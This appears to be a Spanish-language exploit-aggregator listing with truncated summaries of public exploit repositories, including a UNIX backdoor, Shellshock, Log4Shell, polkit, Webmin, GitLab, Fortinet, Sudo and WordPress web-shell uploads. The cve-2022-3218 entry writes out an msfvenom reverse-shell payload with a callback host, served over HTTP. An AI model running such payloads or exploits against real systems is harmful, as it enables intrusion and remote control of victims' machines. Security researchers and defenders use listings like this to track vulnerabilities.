tsh-sctp

Tiny SHell - Una puerta trasera UNIX de código abierto root@kitploit: Antes de compilar Tiny SHell 1. En primer lugar, debes configurar tu clave secreta, que se encuentra en tsh.h; la clave puede tener cualquier longitud usa al menos 12 caracteres para una mejor seguridad. 2. Se recomienda cambia...

Rainstorm

BadBash es una herramienta de explotación RCE para CVE-2014-6271. La versión básica solo verifica el sitio CGI HTTP y solo proporciona una shell inversa de netcat en el puerto 1234. Desarrollador : Andy Yang Versión : 0.1.0 Licencia : GPLv3...

PoC-CVE-2019-12840

Exploit para CVE-2019-12840 en Webmin Este repositorio contiene un script de Python que explota la vulnerabilidad CVE-2019-12840 en Webmin. Descripción El script intenta iniciar sesión en un servidor Webmin y luego explotar la vulnerabilidad CVE-2019-12840. El script acepta varios argumentos de...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente: root@kitploit:...

CVE-2021-44228

Log4Shell Prueba de Concepto Este repositorio es una prueba de concepto para la vulnerabilidad CVE-2021-44228. Se deriva de este repositorio. En este repositorio he creado un ejemplo de una aplicación vulnerable y una demostración de cómo explotarla. Componentes de la prueba de concepto He...

cve_2022_0492

Plantilla de Script de Shell Una plantilla moderna de scripts Bash con formato de salida coloreado y funciones de utilidad para crear herramientas profesionales de línea de comandos. Características 🎨 Salida Coloreada : Esquemas de color predefinidos y funciones de formato 📝 Mensajes Estandarizad...

ClearML-CVE-2024-24590

...

CVE-2025-32118

🚀 CVE-2025-32118 - Exploit RCE del Plugin CMP de WordPress 🔍 Título: WordPress CMP – Coming Soon & Maintenance plugin = 4.1.13 - Ejecución Remota de Código RCE 🗓️ Publicado: 2025-04-04 🔐 CWE: CWE-434 - Carga sin restricciones de archivos de tipo peligroso 📊 CVSS: 9.1 CRÍTICO —...

CVE-2024-51793

🛡️ Exploit del Plugin RepairBuddy de WordPress 📜 Información del CVE ID de CVE: CVE-2024-51793 Publicado: 2024-11-11 Actualizado: 2024-11-11 Título: Vulnerabilidad de carga de archivos arbitraria en el plugin RepairBuddy de WordPress = 3.8115 Descripción: Vulnerabilidad de carga sin restricciones...

CVE-2024-56249

🛠️ WordPress Master Toolkit Exploit CVE-2024-56249 🌟 Resumen Este script explota una vulnerabilidad de subida arbitraria de archivos en el plugin WPMasterToolKit de WordPress, permitiendo a un atacante subir un web shell al servidor. La vulnerabilidad existe en versiones -un -p -fn 📋 Parámetros...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 Un sencillo script bash que explota CVE-2021-22205 contra instancias vulnerables de gitlab Uso root@kitploit: Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to...

cve-2022-42475-Fortinet

cve-2022-42475 Código POC para explotar el desbordamiento de montón en el demonio SSLVPN de Fortinet Uso pip install pwntools Para usar este código, puedes guardarlo en un archivo, por ejemplo exploit.py, y luego ejecutarlo con Python en la línea de comandos, pasando los argumentos requeridos. Aq...

CVE-2024-22274-RCE

Exploit CVE-2024-22274 Este repositorio contiene un exploit para CVE-2024-22274. El exploit crea un nuevo usuario en una máquina remota a través de SSH y luego proporciona una shell root. Requisitos Go Golang instalado en tu máquina. Puedes descargarlo desde aquí. Una máquina remota con acceso SS...

CVE-2022-46169_POC

Exploit para CVE-2022-46169 Obteniendo una Reverse Shell root@kitploit: cactiexploit.py...

CVE-2024-1874

CVE-2024-1874 Prueba de concepto para CVE-2024-1874 Inyección de comandos a través del parámetro $command tipo array de procopen bypass de la corrección de CVE-2024-1874 El CVE: En las versiones de PHP 8.1. anteriores a 8.1.29, 8.2. anteriores a 8.2.20, 8.3. anteriores a 8.3.8, la corrección para...

CVE-2025-32463

📌 CVE-2025-32463 — Escalada Local de Privilegios de Sudo --chroot ID de ExploitDB: 52352 🧠 Visión General Este repositorio documenta una vulnerabilidad crítica de escalada de privilegios local LPE que afecta a las versiones Sudo 1.9.14 – 1.9.17. La vulnerabilidad se debe a una implementación...

cve-2022-3218

Paso 1 — Crear un payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Paso 2 — Servir el payload por HTTP En el mismo directorio: python3 -m http.server 80 Paso 3 — Ajustar el exploit Ejecuta así: python3 CVE-2022-3218.py 172.20.7.185...

CVE-2021-31762

..| CVE-2021-31762 |.. Descripción : Explotando un ataque de falsificación de solicitudes entre sitios CSRF para crear un usuario privilegiado a través de la función de añadir usuarios de Webmin y luego obtener una reverse shell a través de la función de procesos en ejecución de Webmin Versión...

CVE-2018-5955

CVE-2018-5955 Un exploit para CVE-2018-5955 GitStack 2.3.10 Ejecución Remota de Código No Autenticada Exploit: GitStack 2.3.10 Ejecución Remota de Código No Autenticada Fecha: 18.01.2018 Enlace del software: https://gitstack.com/ Autor del exploit: Kacper Szurek Exploit original:...

CVE-2007-2447-RCE

Este exploit te ayuda a obtener una reverse shell, explotando Samba 3.0.20 3.0.25 · Al ejecutar el script con python3 con el parámetro --help, nos pide una serie de parámetros root@kitploit: --lhost LHOST tu host ip donde se recibirá la shell --lport LPORT tu puerto puerto donde se recibirá la...